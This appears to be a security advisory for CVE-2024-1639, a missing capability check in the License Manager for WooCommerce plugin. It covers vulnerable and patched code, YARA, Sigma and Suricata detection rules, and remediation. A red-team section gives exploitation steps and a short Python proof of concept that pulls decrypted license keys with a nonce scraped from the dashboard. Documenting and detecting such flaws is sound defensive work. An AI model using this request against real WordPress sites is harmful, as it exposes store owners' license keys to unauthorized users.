CVE-2024-1639

Executive Summary

CVE-2024-1639 is a Missing Authorization vulnerability in the License Manager for WooCommerce WordPress plugin, affecting versions up to and including 3.0.6. This flaw allows authenticated attackers with admin dashboard access (which includes contributors by default due to WooCommerce's role mapping) to view arbitrary decrypted license keys. The vulnerability exists in the showLicenseKey() and showAllLicenseKeys() functions, which lack proper capability checks. Although these functions include a referrer nonce check, the nonce can be retrieved via the dashboard through the "license" JavaScript variable, making the protection ineffective.

This is a WordPress ecosystem issue, not related to Apache or Nginx. The plugin is a commercial product for managing software license keys within WooCommerce stores.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and commercial channels. Users should verify the integrity of their plugin files and ensure they are not using a compromised version. The supply chain risk is moderate, as the vulnerability requires authenticated access, but the exposure of decrypted license keys can lead to significant financial and reputational damage.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated with admin dashboard access)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (exposure of decrypted license keys)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires authentication. However, the impact is high due to the exposure of sensitive license keys.

Deep Dive & Mechanics

The vulnerability resides in the showLicenseKey() and showAllLicenseKeys() functions within the License Manager for WooCommerce plugin. These functions are intended to display license keys to authorized users only. However, they lack a proper capability check (e.g., manage_options or edit_others_products). Instead, they rely on a referrer nonce check, which can be bypassed.

How the nonce check is bypassed:

1. The plugin outputs a JavaScript variable named license on the admin dashboard.
2. This variable contains the nonce value required for the referrer check.
3. An attacker with admin dashboard access (e.g., a contributor) can view the page source or use browser developer tools to extract this nonce.
4. The attacker then crafts a request to the vulnerable functions, including the extracted nonce, and retrieves decrypted license keys.

Root Cause: The missing capability check allows any user with dashboard access to call these functions. The nonce check is insufficient because the nonce is exposed client-side.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.0.6):

function showLicenseKey() {
    // Missing capability check
    if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'license_nonce' ) ) {
        return;
    }
    // ... retrieve and display license key
}

Patched Code (trunk version):

function showLicenseKey() {
    // Added capability check
    if ( ! current_user_can( 'manage_options' ) ) {
        return;
    }
    if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'license_nonce' ) ) {
        return;
    }
    // ... retrieve and display license key
}

The patched version adds a current_user_can( 'manage_options' ) check, ensuring only administrators can access the function.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with License Manager for WooCommerce plugin version <= 3.0.6.
• Authenticated user with admin dashboard access (e.g., contributor role).

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the admin dashboard and view the page source.
3. Search for the JavaScript variable license to extract the nonce.
4. Craft a GET request to the vulnerable endpoint:

   GET /wp-admin/admin-ajax.php?action=showLicenseKey&license_id=123&_wpnonce=EXTRACTED_NONCE
   

5. The response will contain the decrypted license key.

Proof of Concept (Python):

import requests

url = "http://target.com/wp-admin/admin-ajax.php"
nonce = "extracted_nonce"  # From page source
params = {
    "action": "showLicenseKey",
    "license_id": "123",
    "_wpnonce": nonce
}
response = requests.get(url, params=params, cookies={"wordpress_logged_in": "session_cookie"})
print(response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions showLicenseKey or showAllLicenseKeys.
• Alert on requests from users with low privileges (e.g., contributor) to these actions.
• Check for nonce values in HTTP referrer headers that do not match expected patterns.

Prevention:

• Apply the patch from the trunk version immediately.
• Restrict admin dashboard access to trusted users only.
• Implement Web Application Firewall (WAF) rules to block requests to these actions from non-admin users.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with parameters action=showLicenseKey or action=showAllLicenseKeys.
  • Referrer headers containing nonce values extracted from the license JavaScript variable.

• File IOCs:

  • Modified or suspicious files in /wp-content/plugins/license-manager-for-woocommerce/.
  • Presence of unexpected license key data in logs or temporary files.

• Log IOCs:

  • WordPress debug logs showing calls to showLicenseKey() or showAllLicenseKeys() from unexpected user roles.
  • Web server access logs with repeated AJAX requests to the vulnerable endpoints.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_1639_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-1639 in License Manager for WooCommerce"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1639"
    strings:
        $ajax_action = "admin-ajax.php"
        $show_key = "showLicenseKey"
        $show_all = "showAllLicenseKeys"
        $nonce_var = "license"
    condition:
        $ajax_action and ($show_key or $show_all) and $nonce_var
}

Sigma Rule

title: CVE-2024-1639 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable License Manager for WooCommerce functions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=showLicenseKey'
            - 'action=showAllLicenseKeys'
    condition: selection
falsepositives:
    - Legitimate admin usage (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1639 License Manager for WooCommerce Exploit"; flow:to_server; content:"admin-ajax.php"; http_uri; content:"action=showLicenseKey"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the Plugin: Apply the fix from the trunk version. If using version 3.0.7, note that it is not patched; manually apply the capability check or wait for an official patched release.
2. Restrict User Roles: Ensure only administrators have access to the WordPress admin dashboard. Remove contributor roles if not needed.
3. Audit License Keys: Rotate all exposed license keys immediately.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) to block unauthorized AJAX requests.
• Regularly update all WordPress plugins and themes.
• Conduct security audits of custom code and third-party plugins.
• Monitor for similar vulnerabilities in other plugins using the same pattern.

Workaround:

• If patching is not immediately possible, disable the plugin temporarily or use a code snippet to add a capability check to the vulnerable functions.

Report generated by Valters IT DevSecOps & CTI Division